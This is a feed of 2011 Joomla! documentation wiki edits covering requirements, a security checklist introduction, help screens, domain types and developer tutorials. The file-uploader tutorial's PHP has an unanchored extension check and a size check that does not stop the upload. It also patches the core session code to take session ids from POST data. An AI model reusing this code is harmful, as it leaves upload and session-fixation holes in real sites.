Joomla! Documentation - User contributions [en]

Joomla 1.6 technical requirements

2011-06-27T02:52:12Z

Royce: Formatting consistency

'''Requirements for Joomla 1.6.x'''

Apache: v2.x recommended + http://www.apache.org
* PHP: v5.2.4 + http://www.php.net
* MySQL: v5.0.4+ http://www.mysql.com

Microsoft IIS: v7 http://www.iis.net
* PHP v5.2.4 +
* MySQL v5.1

'''More details will be available soon here:'''
http://www.joomla.org/about-joomla/technical-requirements.html

[[Category:Joomla! 1.6]]

Security Checklist/Getting Started

2011-06-27T02:45:17Z

Royce: /* The most important guidelines */ Minor form

{{RightTOC}}
== Read Me First==

=== Security matters ===

:Internet security is a fast moving challenge and ever present threat. There is no one right way to secure a website, and all security methods are subject to instant obsolescence, incremental improvement, and constant revision. All public facing websites are open to constant attack. Are you willing and able to invest the time it takes to administer a dynamic, 24x7, world-accessible, database-driven, interactive, user-authenticated website? Do you have the time and resources to respond to the constant flow of new Internet security issues? The [[Top 10 Stupidest Administrator Tricks]] is a comic/tragic look at what can go wrong. Don't learn these tricks the hard way! Depending on your own experience, reading the ''Stupidest Tricks'' will either make you laugh or cry. Luckily, there are some well-established principles upon which to base your defensive plans. The following checklists point you toward current best practices for Joomla security.

=== How to read these documents ===
#Not all techniques are appropriate for every level of experience. Apply the techniques you understand and read up on the ones you don't.
#Not all techniques are appropriate for every server. If you use a shared server, you must depend on the settings established by your hosting provider. If you are using a virtual or dedicated server, you can apply more creative security tactics.
#Not all security tactics are appropriate for all versions of Joomla. Where a technique applies to only one version it is noted by one of the following icons: {{JVer|1.0}}{{JVer|1.5}}{{JVer|1.6}}.

=== The most important guidelines===
:These checklists are long and growing because the full plot is thick, complex, and expanding, but don't despair! Here are a few essential guidelines for securing any website. Following them will protect you from most catastrophes.

# '''Back up early and often:''' Set up (and use and test) a regular backup and recovery process. When done well, this ensures that you can recover from almost any imaginable disaster.
# '''Update early and often:''' Promptly update to the latest ''stable'' version of Joomla! and any installed third-party extensions. This ensures that your site is protected from the newest vulnerabilities as soon as a fix is released and from the latest attack methods as soon as a defense is developed.
# '''Use a secure host''': Use a high-quality Web host. Do not be fooled by offers of 'unlimited bandwidth, unlimited hard drive space, unlimited databases, etc.
# '''Use the community''': Don't forget the truism, "If a deal is too good to be true, it is." It seems that nothing on Earth is unlimited--except perhaps the gullibility of fools and the greed of those who prey upon them. Consider hiring professional assistance if you have inadequate experience or knowledge in this area. One of the advantages of GNU software is that user support is free. Take good advantage of this by asking good questions within the [http://forum.joomla.org Joomla! Forums]. When doing so, be sure to use the the most appropriate board, such as Installation, Migration and Updating, Administration.

::The most helpful posts in the Joomla! Security Forum are converted into [[Security and Performance FAQs]]. Many of the items on this list are explained in much greater detail in the FAQs.

::You may want to read the excellent [[Beginners|Absolute Beginners Guide to Joomla!]] It has wealth of tips and tricks presented in an easy to understand format. Even experienced Joomlaists find great ideas here.

::Hunt down the many nuggets of wisdom found in the [http://forum.joomla.org Joomla! Forums], in particular the [http://forum.joomla.org/viewforum.php?f=432 Joomla! 1.5 Security Forum] and the [http://forum.joomla.org/viewforum.php?f=267 Joomla! 1.0 Security Forum].

::To receive all Joomla security announcements, subscribe to Joomla Security News. There are several ways to subscribe:

::# [http://feedburner.google.com/fb/a/mailverify?uri=JoomlaSecurityNews Automatic Email Notification]
::# [http://feeds.joomla.org/JoomlaSecurityNews RSS feed].

=== The bad news ===
#'''There is no perfect security on the Web!''' As economists would say, "There's no free lunch." Don't be fooled by Joomla's award winning ease-of-use. Maintaining a secure Web site on the open Internet is not easy. Maintaining adequate security requires a wide and ever-growing range of skills and knowledge, constant watchfulness, and a robust backup and recovery process.
#'''There's no one right way!''' Due to the variety and complexity of modern web systems, security issues can't be resolved with simple, one-size-fits-all solutions. You (or someone you trust) must learn enough about your server infrastructure to make valid security decisions. Strong security is a moving target. Today's expert might be tomorrow's victim. Welcome to the game...
#'''There's no substitute for experience!''' To secure your Web site, you must gain real experience (some of which will be bitter), or get experienced help from others. If you haven't invested the considerable time it takes to learn how to maintain a secure Web site, be sure you can consult with someone who has. Read this tongue-in-cheek description of the [[Top_10_Stupidest_Administrator_Tricks|Top 10 Stupidest Administrator Tricks]] which illustrates typical, blow-by-blow examples of how to learn Web security the hard way.

=== The good news ===

#'''Even a beginner can start at the head of the herd''' User forums for many systems are clogged with [http://www.google.com/search?q=Help!+I've+been+hacked Help! I've been hacked] posts by people who did NOT follow standard security practices. If you are studying this checklist before your site is attacked, congratulations, you're already ahead of the herd.
#'''It's not as hard as it looks''' If this is one of your first websites, security issues may seem overwhelming, but you don't have to deal with all of them at once. Start with the most critical issues. As you become more familiar with [http://www.gnu.org GNU] tools and techniques, including [http://www.gnu.org/ GNU/Linux], [http://www.apache.org Apache], [http://www.mysql.com MySQL], [http://en.wikipedia.org/wiki/SQL SQL], [http://www.php.net PHP], [http://en.wikipedia.org/wiki/HTTP HTTP], [http://en.wikipedia.org/wiki/CSS CSS], [http://en.wikipedia.org/wiki/XML XML], [http://en.wikipedia.org/wiki/RSS RSS], [http://en.wikipedia.org/wiki/TCP/IP TCP/IP], [http://en.wikipedia.org/wiki/FTP FTP], [http://subversion.tigris.org/ Subversion], [http://en.wikipedia.org/wiki/JavaScript JavaScript], and [http://www.joomla.org Joomla!], you'll add refinements to your set of security tactics.
#'''You can get help''' If you believe your website was attacked, '''do not''' simply post an announcement with full details in the Joomla! forums. If you are dealing with a new vulnerability or new form of attack, publishing that information could put other websites at risk. Instead, report possible security vulnerabilities to the [http://developer.joomla.org/security/contact-the-team.html Joomla! Security Task Force].

== Security Checklists Table of Contents==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]


[[Category:Security Checklist]]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]

User:Royce

2011-06-27T01:03:21Z

Royce:

I am working on migrating some sites that I maintain to Joomla!.

As I read the Joomla! wiki, I am also making minor updates. Some good candidates for more substantial updates (when I know more about Joomla!) can be found in [[:Category:Cookie_jar|the cookie jar]].

* On the Joomla! Forums, I am [http://forum.joomla.org/memberlist.php?mode=viewprofile&u=581486 TychoTithonus] ("Royce" was already taken).
* My personal pages are [http://www.alaska.net/~royce/ here].
* On Wikipedia, I am also [http://en.wikipedia.org/wiki/User:Royce Royce].

Help17:Components Banners Tracks

2011-06-27T00:52:40Z

Royce: /* Description */ Minor form

==Overview==
This screen is accessed from the back-end Joomla! administrator panel. It is used to view banner impression and click counts.

==How to Access==
* Select '''Components → Banners → Tracks''' from the drop-down menu of the '''''Joomla! Administrator Panel'''''. You can also select the 'Tracks' menu link from the [[Help16:Components_Banners_Categories|Banner Categories Manager]], [[Help16:Components_Banners_Banners|Banner Manager]] or the [[Help16:Components_Banners_Clients|Banner Clients Manager]].

==Description==
The Banner Tracks Manager is where you can view current banner impression or click counts. Banners will only appear here if the impression or click counter is enabled on them and their impression or click count is at least 1. The impression and click counts are considered separate items, so a banner may appear twice in the list of items in this screen.

==Screenshot==
[[Image:Help16-banners-tracks-screen.png]]

==Column Headers==
Click on the column heading to sort the list by that column's value.
*'''Name.''' The banner name.
*'''Client.''' The name of the banner client.
{{Chunk16:colheader|Category}}
*'''Type.''' The type of the displayed count - impression or click.
*'''Count.''' The number of banner impressions or click counts.
*'''Date.''' The date the counter was last incremented.

==List Filters==
===Filter by Date===

You can filter the list of impression or click counts by specifying a begin and end date to display the number of impressions or clicks a banner received on and between those dates.
[[Image:Help16-banners-tracks-filter-date.png|center]]

===Filter by Client, Category or Type===

In the upper right area, above the column headings, there are three drop-down boxes as shown below:

[[Image:Help16-banners-tracks-filter-attributes.png|center]]

Only items matching the selected client, category, and/or type will display in the list.
*'''Select Client.''' Use the drop-down list box to select the banner client.
{{Chunk16:listfiltering|Select Category}}
*'''Type.''' Use the drop-down list box to select the banner type - impression or click.

==Toolbar==
At the top right you will see the toolbar:

[[Image:Help16-banners-tracks-toolbar.png]]
* '''Export.''' Click this to download a comma-separated text file of the displayed banner impression and/or click counts.
* '''Delete Tracks.''' Click this to delete the displayed banner impression and/or click counts.
{{Chunk16:toolbaricon|Options}}
{{Chunk16:toolbaricon|Help}}

==Options==
See [[Help16:Components_Banners_Banners#Options|Banner Manager Options]].

==Toolbar Links==
At the top left, above the Filter, you will see the following four links:

[[Image:help16-banners-tracks-links.png]]
*'''Banners.''' Click this link to go to the [[Help16:Components_Banners_Banners|Banners Manager]] page.
*'''Categories.''' Click this link to go to the [[Help16:Components_Banners_Categories|Banner Category Manager]] page.
*'''Clients.''' Click this link to go to the [[Help16:Components_Banners_Clients|Banner Clients Manager]] page.
*'''Tracks.''' This link is disabled, since you are already in the Tracks page.

==Related Information==
* To create or edit Banners: [[Help16:Components_Banners_Banners_Edit|Banner - New/Edit]]
* To work with Banner Categories: [[Help16:Components_Banners_Categories|Banner Category Manager]]

Help16:Help screens styleguide

2011-06-27T00:52:05Z

Royce: Minor form

[[Help16:Help_screens|Return to Joomla! 1.6 Help Screen Wiki Page]]

This is a work in progress and should be used as a guideline for creating help screens for Joomla 1.6. This offers consistency throughout the help screens to allow for easier navigation. Feel free to add to this.

*'''Image Size''' : (Please add)
*'''Wiki Image Tag''' : <nowiki>[[Image:imagename.png,jpeg]]</nowiki>

*'''Chunk Tag''' : (Please add)

==Overview==
How is this related to Joomla! Is it a component can be accessed from the front-end and/or back of Joomla!?

==How to Access==
The path taken to get to the screen.
*Select '''(menu item) → (submenu item) → (etc.)''' from the drop-down menu of the '''''Joomla! Administrator Panel'''''.

==Description==
This goes into more detail about what the component does. There should be no specific format to this section because the description should be in direct correlation with the purpose and functionality of the component. There may be many subsections to the description that describe more specific details, best to be outlined through the use of bullet points.

==Screenshot==
Screenshot overall look of the page.

==Toolbar==
Describes the available icons and their associated functions in the toolbar for this screen in the. Use '''chunks''' here because many will be the same for different screens. Best to provide a picture of the toolbar.

The first word should always be a verb and, unless it is an irregular verb, it should also end in the letter "s". This means you should structure the description as if you are using the word "this" as the subject, but leave the subject out of the sentence. This will make the sentence actually a sentence fragment. For instance:
* Instead of "To find buried treasures, click this button."
** Say, "Finds buried treasures."
* Instead of "You can click this button to insert a picture of John Stamos into the current document."
** Say, "Inserts a picture of John Stamos."
* Instead of "Inform yourself that a picture of John Stamos is the same thing as a buried treasure."
** Say, "Informs you that a picture of John Stamos is the same thing as buried treasure."

==List Filters==
For back-end manager screens, describes how to use the list filters to filter the contents of the screen. See [[Screen.content.15#List_Filters]] for example from 1.5.

==Outline==
Describes the available options for this screen. There may be many links within this screen that group together certain options. Break down these linked screens into separate sub-heads and outline their individual functions. It is also a good idea to include screenshots of these linked screens because their options will be most likely different.

==Quick Tips==
Gives some advice to a person, recommends the best options based on a wide audience of developers.

==Related Information==
Should connect other pages of the [[Help16:Help_screens|Help Wiki]].

==Notes for help screen editors==
*[[Layout helpscreen|Layout of a typical Help Screen]]
*Overview of [{{fullurl:Special:Allpages|namespace=106}} Help screen chunks] For usage information and examples see the following templates:
** {{tlx|colheader|Column name}} includes one of the ''Help screen column header XYZ'' chunks
** {{tlx|toolbaricon|Action name}} is for ''Help screen toolbar XYZ''
** {{tlx|cpanelicon|Icon name}} is for ''Help screen icon XYZ''
** for proper categorisation read the instructions of {{tim|cathelp}}
* [[Content editors]]
** {{[[Chunk:TinyMCE]]}} for TinyMCE
** {{[[Chunk:No editor]]}} for No editor
* Did you notice a mistake or do think it's useful to add some extra information? You're welcome to modify the Help Screen. Please change the status of the modified Help Screen after you modified it:
** Is the status at the moment 'Ready' or 'To be moved'? Change it to 'Modified by [name]' (replace [name] for your username at the Joomla! Docs Wiki)
** Is the status at the moment 'To be reviewed'? You don't have to change the status in that case.
* Image file naming convention:
** help16-''[menu system path separated by dashes]''-''[screenElementType]''.png,jpg
*** Replace ''[menu system path separated by dashes]'' with the names of the menu items that you would need to select to get to the item you are taking a screenshot of. Separate menu items with a dash ( - ) and if the menu item name has more than one word in it, then separate the words with an underscore ( _ ). Do not use spaces in your file name. Replace spaces with the underscore ( _ ) character.
*** Replace ''[screenElementType]'' with the type of the screen element that your picture contains. Screen element types are:
**** '''screen''' - This is a screenshot of the entire menu item
**** '''toolbar''' - This is a picture of the menu item's tool bar.
**** '''menu''' - This is a picture of the menu item's menu bar.
**** NOTE: As more screen element types are needed, add them to this style guide so that help documentation developers can refer to this guide and stay consistent.
*** Examples using the image naming convention:
**** A screenshot of the Extension Manager's "Discover" screen would be named: help16-extension_manager-discover-screen.png
**** A screenshot of the Extension Manager's "Discover" screen tool bar would be named: help16-extension_manager-discover-toolbar.png

Help16:Components Banners Tracks

2011-06-27T00:51:02Z

Royce: /* Description */ Minor form

What is the difference between a Sub-Domain, Parked Domain and an Add-On Domain?

2011-06-27T00:50:16Z

Royce: Minor form

This article is a basic outline of the differences between a Sub-Domains, Parked Domains, and Add-On Domains. Creation of each domain
type on your selected hosting service may differ depending on what control control panel is offered.
Each hosting service is different in what their hosting plans include, so all three options may not be available under your plan.
Any questions about what options are available with your particular plan, or for help in setting up these options on your hosting plan
should be directed to your hosts support Help/FAQ pages or to your hosts support team.

Here are some basic differences between the three:

'''Sub domain'''

* Let's say you own domain site1.com.
* You only own one domain or only wish to have a forum on one domain.
* You decide to install a forum and want the forum installed in a directory called forum
* You can create a sub-domain by adding the directory 'forum' as a sub-domain from your domain site1.com control panel.
* Once the sub-domain forum is created, people can access your forum as either site1.com/forum or forum.site1.com

'''Parked Domain'''

* You own multiple domains such as site1.com, site1.org and site2.net.
* You want site1.com as the main domain for your website and you want people who type in site1.org or site2.net to go to the main site1.com website.
* Using the domain control panel for site1, you can park additional domains
* The multiple domain names you own will be parked and will point to the site1.com domain.
* You will be unable to use a parked domains for separate websites unless you unpark them.
* This is a good way if you own multiple domains such as site1.com, site1.org, site1.net to have all domains point to the same website domain

'''Add-On Domains'''

* You own two domains site1.com and site2.org.
* Your main domain is site1.org
* You want to add your second domain site2.org to your hosting account
* You want the two domains to be totally separate and independent websites.
* From the domain site1.com control panel you can add the second domain
* Each domain is accessed by a control panel that is common to both
* When a person types site1.com in their browser they are taken to site1.com
* When a person types site2.org in their browser they are taken to site2.org
* Each domain shares your hosting plans resources

<noinclude>[[Category:FAQ]][[Category:Getting Started FAQ]]</noinclude>

Development Best Practices

2011-06-27T00:49:00Z

Royce: Minor spelling

== Where should I place JavaScript files that belong to my Component? ==

Information in response to the question:
In com_media, we have an asset folder contains js files; however, is it the proper place for the javascript files for future component development?

The idea was that the asset folder would hold any component asset that would need to be reachable directly by the client. For example, css, img, javascript etc. Initially this was just done to separate them.

Later on in the development of 1.5 we create a general media folder to all assets. At the moment this folder only holds the none-BC system
assets. The idea was that the installer would push component specific assets in this folder during the installation process.

In JInstaller around line 780 we see the following in the parseMedia() method:

<source lang="php">
/*
* Here we set the folder we are going to copy the files to.
* Default 'media' Files are copied to the JPATH_BASE/images folder
*/
$folder = ($element->attributes('destination')) ? DS.$element->attributes('destination') : null;
$destination = JPath::clean(JPATH_ROOT.DS.'media'.$folder);
</source>

What this means in real terms is that when in your xml install manifest, if you put files insite a <media> tag instead of a <files> tag then they will be sent to the JPATH_ROOT/media folder. If you give it <media destination="com_foo"> then it will put the files in JPATH_ROOT/media/com_foo

In some cases you have a component, we'll say com_foo, and then you have a few modules that go along with com_foo... for sake of the example we'll call them mod_foo_1, mod_foo_2 and mod_foo_3. There is no reason to package media elements for the three modules if they are all the same and they depend upon the component anyway. The best and most logical way to do things is to put them all in a central place that is namespaced appropriately.

Doing it this way gives us the ability to start taking all of the media assets out of our code folders and get us to a point where we could really move all the PHP files underneath the document root. It is a first step toward that end.

For the original discussion, see [http://groups.google.com/group/joomla-devel/browse_thread/thread/49c457b9305e1379 Joomla! Developer Discussion List].

[[Category:Development]]

Archived:Creating a file uploader in your component

2011-06-27T00:43:05Z

Royce: Minor spelling

== Creating a file uploader in your component: Method 1, SWFUpload ==

=== Part 1: Introduction ===

SWFUpload is a free open source multiple file uploader available for download from http://swfupload.org/

A demo of swfupload is available here: http://demo.swfupload.org/v220/simpledemo/index.php

The standard way to upload a file is with a HTML form. This works great if you are uploading one file, but browsers do not let you select and upload more than one file at a time (Update Feb 2010, Firefox 3.5+ and some other modern browsers support the HTML5 multiple file input)

The most common way of selecting multiple files for upload is to use flash and javascript. The flash part of the script opens up a select file dialog where multiple files can be selected, and the flash/javascript sends each file, and receives the response from the server.

The most popular scripts used to do this are SWFUpload and Fancy upload (http://digitarald.de/project/fancyupload/). The flash uploader in Joomla's media manager is based on Fancy Upload version 1.0. As Fancy upload 2.0 and 3.0 use mootools 1.2, and Joomla 1.5 uses mootools 1.11, we can not use Fancy Upload 2.0/3.0 in the admin pages of Joomla. Fancy Upload 1.0 could be used, but it is not updated or supported anymore.

SWFUpload does not use Mootools or Jquery. Because of this it will likely work on any page with Mootools 1.11 (Joomla 1.5), or Mootools 1.2 (Joomla 1.6). Therefore we will be using SWFUpload in this article.

Download ths latest version of SWFUpload from the download page (http://code.google.com/p/swfupload/). Download the SWFUpload v2.2.0.1 Samples.zip file.

Inside the file there will be a demos folder, and inside that a simpledemo folder. This is the example we are going to integrate into a Joomla component.

This tutorial assumes you have followed the http://docs.joomla.org/Developing_a_Model-View-Controller_Component_-_Part_1 tutorial and are familiar with Joomla's MVC structure.

----

=== Part 2: Adding The External Javascript ===

We need to add in the external links in the head of the document, put some javascript into the head of the doc, and put some HTML in our body.

If you look at the simpledemo/index.php page you will see links to 5 files in the head of the page.

Make a folder within the root of your components folder called swfupload, copy the ../css/default.css, ../swfupload/swfupload.js, js/swfupload.queue.js, js/fileprogress.js and js/handlers.js files into this folder.

We also need to copy the ../swfupload/swfupload.swf and images/TestImageNoText_65x29.png files into this folder.

Within your view.html.php file add in the following code:
<source lang="php">
//get the hosts name
jimport('joomla.environment.uri' );
$host = JURI::root();

//add the links to the external files into the head of the webpage (note the 'administrator' in the path, which is not nescessary if you are in the frontend)
$document =& JFactory::getDocument();
$document->addScript($host.'administrator/components/com_mycomponent/swfupload/swfupload.js');
$document->addScript($host.'administrator/components/com_mycomponent/swfupload/swfupload.queue.js');
$document->addScript($host.'administrator/components/com_mycomponent/swfupload/fileprogress.js');
$document->addScript($host.'administrator/components/com_mycomponent/swfupload/handlers.js');
$document->addStyleSheet($host.'administrator/components/com_mycomponent/swfupload/default.css');
</source>
That is the external files part done. We still have to add in the head javascript, and the body html.

----
=== Part 3: Adding The Head Javascript ===

Head javascript part:
The javascript below is almost the same as the javascript from the simple demo, the few modifications are commented. It is nescessary to read through it and change the parts (such as task) that are relevant to your component.
<source lang="php">
//when we send the files for upload, we have to tell Joomla our session, or we will get logged out
$session = & JFactory::getSession();

$swfUploadHeadJs ='
var swfu;

window.onload = function()
{

var settings =
{
//this is the path to the flash file, you need to put your components name into it
flash_url : "'.$host.'administrator/components/com_mycomponent/swfupload/swfupload.swf",

//we can not put any vars into the url for complicated reasons, but we can put them into the post...
upload_url: "index.php",
post_params:
{
"option" : "com_mycomponent",
"controller" : "mycontroller",
"task" : "mytask",
"id" : "'.$myItemObject->id.'",
"'.$session->getName().'" : "'.$session->getId().'",
"format" : "raw"
},
//you need to put the session and the "format raw" in there, the other ones are what you would normally put in the url
file_size_limit : "5 MB",
//client side file chacking is for usability only, you need to check server side for security
file_types : "*.jpg;*.jpeg;*.gif;*.png",
file_types_description : "All Files",
file_upload_limit : 100,
file_queue_limit : 100,
custom_settings :
{
progressTarget : "fsUploadProgress",
cancelButtonId : "btnCancel"
},
debug: false,

// Button settings
button_image_url: "'.$host.'administrator/components/com_mycomponent/swfupload/images/TestImageNoText_65x29.png",
button_width: "85",
button_height: "29",
button_placeholder_id: "spanButtonPlaceHolder",
button_text: \'Choose Files\',
button_text_style: ".theFont { font-size: 13; }",
button_text_left_padding: 5,
button_text_top_padding: 5,

// The event handler functions are defined in handlers.js
file_queued_handler : fileQueued,
file_queue_error_handler : fileQueueError,
file_dialog_complete_handler : fileDialogComplete,
upload_start_handler : uploadStart,
upload_progress_handler : uploadProgress,
upload_error_handler : uploadError,
upload_success_handler : uploadSuccess,
upload_complete_handler : uploadComplete,
queue_complete_handler : queueComplete // Queue plugin event
};
swfu = new SWFUpload(settings);
};

';

//add the javascript to the head of the html document
$document->addScriptDeclaration($swfUploadHeadJs);
</source>
If you want more info on what each paramater is, have a look at the swfupload docs:
http://demo.swfupload.org/Documentation/

----

=== Part 4: Adding The Body HTML ===

We still have to add in our body HTML, in you tmpl/default.php file add in:
<source lang="html4strict">
<div id="swfuploader">
<form id="form1" action="index.php" method="post" enctype="multipart/form-data">
<fieldset class="adminform">

<div class="fieldset flash" id="fsUploadProgress">
Upload Queue
</div>
<div id="divStatus">0 Files Uploaded</div>
<div>

<input id="btnCancel" type="button" value="Cancel All Uploads" onclick="swfu.cancelQueue();" disabled="disabled" style="margin-left: 2px; font-size: 8pt; height: 29px;" />

</div>
</fieldset>
</form>
</div>
</source>
If all has gone well, you will be able to upload files to your components script, although nothing will happen on the server as there is no PHP to receive the image.

=== Part 5: Receiving The File With PHP ===

It is worth noting that allowing users to upload files to the server is possibly the most dangerous thing to do in terms of security, and if someone with malicious intentions manages to upload a php file to your server, then they can easily take control of the site.

It is recommended you do some reading on file upload security. This is a good start:

http://www.scanit.be/uploads/php-file-upload.pdf

And there are many other good resources on the internet. It is important you understand how file upload security works, rather than copying and pasting some code that checks the MIME type, and assuming the script is safe.

Here is some example PHP that will check if the file is an image, and upload it. It is not an exhaustive example of security checking, but it is a good start:
<source lang="php">
//import joomlas filesystem functions, we will do all the filewriting with joomlas functions,
//so if the ftp layer is on, joomla will write with that, not the apache user, which might
//not have the correct permissions
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');

//this is the name of the field in the html form, filedata is the default name for swfupload
//so we will leave it as that
$fieldName = 'Filedata';

//any errors the server registered on uploading
$fileError = $_FILES[$fieldName]['error'];
if ($fileError > 0)
{
switch ($fileError)
{
case 1:
echo JText::_( 'FILE TO LARGE THAN PHP INI ALLOWS' );
return;

case 2:
echo JText::_( 'FILE TO LARGE THAN HTML FORM ALLOWS' );
return;

case 3:
echo JText::_( 'ERROR PARTIAL UPLOAD' );
return;

case 4:
echo JText::_( 'ERROR NO FILE' );
return;
}
}

//check for filesize
$fileSize = $_FILES[$fieldName]['size'];
if($fileSize > 2000000)
{
echo JText::_( 'FILE BIGGER THAN 2MB' );
}

//check the file extension is ok
$fileName = $_FILES[$fieldName]['name'];
$uploadedFileNameParts = explode('.',$fileName);
$uploadedFileExtension = array_pop($uploadedFileNameParts);

$validFileExts = explode(',', 'jpeg,jpg,png,gif');

//assume the extension is false until we know its ok
$extOk = false;

//go through every ok extension, if the ok extension matches the file extension (case insensitive)
//then the file extension is ok
foreach($validFileExts as $key => $value)
{
if( preg_match("/$value/i", $uploadedFileExtension ) )
{
$extOk = true;
}
}

if ($extOk == false)
{
echo JText::_( 'INVALID EXTENSION' );
return;
}

//the name of the file in PHP's temp directory that we are going to move to our folder
$fileTemp = $_FILES[$fieldName]['tmp_name'];

//for security purposes, we will also do a getimagesize on the temp file (before we have moved it
//to the folder) to check the MIME type of the file, and whether it has a width and height
$imageinfo = getimagesize($fileTemp);

//we are going to define what file extensions/MIMEs are ok, and only let these ones in (whitelisting), rather than try to scan for bad
//types, where we might miss one (whitelisting is always better than blacklisting)
$okMIMETypes = 'image/jpeg,image/pjpeg,image/png,image/x-png,image/gif';
$validFileTypes = explode(",", $okMIMETypes);

//if the temp file does not have a width or a height, or it has a non ok MIME, return
if( !is_int($imageinfo[0]) || !is_int($imageinfo[1]) || !in_array($imageinfo['mime'], $validFileTypes) )
{
echo JText::_( 'INVALID FILETYPE' );
return;
}

//lose any special characters in the filename
$fileName = ereg_replace("[^A-Za-z0-9.]", "-", $fileName);

//always use constants when making file paths, to avoid the possibilty of remote file inclusion
$uploadPath = JPATH_SITE.DS.'images'.DS.'stories'.DS.$fileName;

if(!JFile::upload($fileTemp, $uploadPath))
{
echo JText::_( 'ERROR MOVING FILE' );
return;
}
else
{
// success, exit with code 0 for Mac users, otherwise they receive an IO Error
exit(0);
}
</source>
If all want well the uploaded files will be in the images/stories folder.

=== Part 6: Flash plugin COOKIE bug on non-IE browsers ===

Also you should pay attention to Flash player cookie bug!

It is described here http://swfupload.org/forum/generaldiscussion/383

The Flash Player Plugin for FireFox, Opera and Safari (and probably other non-IE based browsers) has a bug which sends persistent cookies from IE to the upload URL instead of the cookies from the browser. Session only cookies from IE are not sent.

1) Any cookies from a non-IE browser (ie, authentication, login, etc) will not be sent with the file upload. Rather the cookies from IE will be sent. So, no cookies or the wrong cookies will be sent. In most cases this means sessions and cookie based authentication are lost when making an upload.

2) Cookies set by the upload script do get set, but only for Flash. The browser will not see them.

3) This bug affects Flash 8 and Flash 9 and all versions of SWFUpload

4) You cannot rely on cookies when using SWFUpload (or any Flash based upload tool). You must send the data you need from the cookies in another way. There are several threads regarding this issue in the forum and many of the demos show workarounds for restoring PHP sessions and some sample files show how to restore the cookies so Session and Authentication are restored in ASP.Net.

5) This could be considered a security issue but probably not severe enough to actually compromise any data. The cookies created in IE by Flash still have all the rules and restricts associated with cookies in any browser.

Solution is modify function _start() (libraries\joomla\session\session.php):
<source lang="php">

$sn = session_name();

if(isset($_COOKIE[$sn]) && isset($_POST[$sn]))
{
$_COOKIE[$sn] = $_POST[$sn];
session_id($_POST[$sn]);
}

session_start();
</source>
[[Category:Tutorials]][[Category:Component Development]]

J1.5:Retrieving and Filtering GET and POST requests with JRequest::getVar

2011-06-27T00:42:23Z

Royce: /* 'get' */ Minor spelling and style

When writing any web application, it is crucial that you filter input data before using it. Joomla! provides a set of filtering libraries to help you accomplish this.

===Defined in===
libraries\joomla\environment\request.php

==Methods==

=== 'getVar' ===
To retrieve GET/POST request data, Joomla! uses the getVar method of the JRequest class (JRequest::getVar()).

'''Retrieving Data'''

If you have a form variable named 'address', you would want to use this code to get it:
<source lang="php">
$address = JRequest::getVar('address');
</source>

Unless other parameters are set, all HTML and trailing whitespace will be filtered out.

'''The DEFAULT Parameter'''

If you want to specify a default value in the event that 'address' is not in the request or is unset, use this code:

<source lang="php">
$address = JRequest::getVar('address', 'Address is empty');
echo $address; // Address is empty
</source>

'''The SOURCE Parameter'''

Frequently, you will expect your variable to be found in a specific portion of the HTTP request (POST, GET, etc...). If this is the case, you should specify which portion; this will slightly increase your extension's security. If you expect 'address' to only be in POST, use this code to enforce that:

<source lang="php">
$address = JRequest::getVar('address', 'default value goes here', 'post');
</source>

'''The VARIABLE TYPE Parameter'''

The fourth parameter of getVar() can be used to specify certain filters to force validation of specific value types for the variable.

<source lang="php">
$address = JRequest::getVar('address', 'default value goes here', 'post','variable type');
</source>

Here is a list of types you can validate:

*INT
*INTEGER
*FLOAT
*DOUBLE
*BOOL
*BOOLEAN
*WORD
*ALNUM
*CMD
*BASE64
*STRING
*ARRAY
*PATH
*USERNAME

'''The FILTER MASK Parameter'''

Finally, there are some mask constants you can pass in as the fifth parameter that allow you to bypass portions of the filtering:
<source lang="php">
$address = JRequest::getVar('address', 'default value goes here', 'post','validation type',mask type);
</source>

*JREQUEST_NOTRIM - prevents trimming of whitespace
*JREQUEST_ALLOWRAW - bypasses filtering
*JREQUEST_ALLOWHTML - allows most HTML. If this is not passed in, HTML is stripped out by default.

Note. These are static variables not strings. Do not use quotes around them

=== 'get' ===
To receive a whole array filtered. If you would want to get the POST data, you can use this.
<source lang="php">JRequest::get( 'post' )</source>
<nowiki>This returns the standard POST array. You can use it on a template page if needed, or in the models section if convenient. It returns the most recent POST.
Methods of this object were not found in the Framework section where one would expect to find them. </nowiki>

==See also==
* [http://api.joomla.org/Joomla-Framework/Environment/JRequest.html JRequest on api.joomla.org]
* [[JURI]]
* [[JRoute]]

==Security==

Why not just use the Superglobals? If you are familiar with PHP already you may be wondering, why not just use $_GET / $_POST / $_REQUEST? To make Joomla more secure, all global variables should be read through this function. It removes the possibility for code injection and/or SQL injection. You can also define a default value (as you can see in line 6). Copied and changed from [[Creating a simple component - Part 1]].

[[Category:Development]]

Help17:Extensions Plugin Manager Edit

2011-06-27T00:40:14Z

Royce: /* Details */ Minor grammar: can not -> cannot

==How to Access==
Navigate to the [[Help16:Extensions_Plugin_Manager|Plug-in Manager]]. Click on the Plug-in's Name or click on the Plug-in's checkbox and press the Edit button in the toolbar.

==Description==
This screen allows you to edit the details and options for plug-ins. Some plug-ins have several configurable options, while others may not have any.

==Screenshot==
[[Image:Help16-plugin_manager-edit-screen.png]]

==Details==
The Details section is the same for all plug-ins and has the following fields:
*'''Plug-in Name.''' The Name of the Plug-in.
*'''Enabled.''' Whether or not this Plug-in is enabled.
*'''Access.''' Which user 'access levels' have access to this item. You can change an item's Access Level by clicking on its name to open it up for editing. The default user 'access levels' which come preconfigured with Joomla! are:
** Public: Everyone has access including website visitors who have not logged in
** Registered: Only users with registered status or higher will have access
** Special: Only users with author status or higher have access
*'''Ordering.''' A drop-down list of plug-ins of the same Type. The list of plug-ins is arranged by their current order. You can change this plug-in's order in relation to the other plug-ins by selecting the plug-in in the drop-down list that you want this plug-in to be ordered below.
*'''Plug-in Type.''' The Type of the Plug-in. This value cannot be changed.
*'''Plug-in File.''' The name of the Plug-in file. Each Plug-in has two files with this name. One has the file extension '.php' and the other has the file extension '.xml'.
*'''ID.''' The Plug-in's ID number. This is a unique identification number for this item assigned automatically by Joomla!. It is used to identify the item internally, for example in internal links. You cannot change this number.
